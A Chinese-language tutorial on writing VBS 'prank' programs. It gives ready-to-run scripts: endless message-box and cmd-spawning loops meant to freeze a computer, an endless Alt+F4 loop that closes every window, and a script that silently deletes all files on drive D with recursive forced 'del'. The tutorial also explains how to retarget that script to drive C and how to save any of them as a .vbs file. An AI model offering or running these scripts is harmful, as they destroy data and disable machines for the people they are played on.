用VBS语言编写恶搞程序

1、首先，第一个代码

————————————————————————————————

do

msgbox "在这里填上你想要显示的语句，运行程序就会出现在这里填的语句“

loop

————————————————————————————————

这个代码非常简单，运行后就会出现一个对话框，上面显示你所填的语句，并会不断弹出此对话框，直到电脑死机。如果想结束它，最快的办法就是...重启电脑。

2、第二个

————————————————————————————————

set wsh=createobject("wscript.shell")

do

wsh.run "cmd"

loop

————————————————————————————————

这个代码写完启动后，就会不断弹出命令提示符，简称cmd，并会不断弹出，直到电脑死机。你也可以把引号里的cmd改成别的，如calc，是windows里的计算器程序的名称。改完后就不断弹出计算器程序。

3、第三个，有点危害，不要尝试。

————————————————————————————————

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell") 

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 

————————————————————————————————

简单介绍，运行会格式化D盘，把这个地方—>del d:\*.* / <—改一下，也就是del后的d,这是盘符，如改为c盘，就会格式化c盘。

1、代码：

————————————————————————————————

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

while(1) 

WSHshell.SendKeys "%{F4}" 

loop 

————————————————————————————————

它运行后，开什么都关闭，包括前面的几个程序，尽管这样，也尽量不要在自己电脑上运行。

2、要运行这样的vbs程序很简单，复制代码，打开记事本，粘贴代码，保存好，并更改此文件扩展名为.vbs 不会的，可以上网上搜。然后就是一个vbs脚本程序了。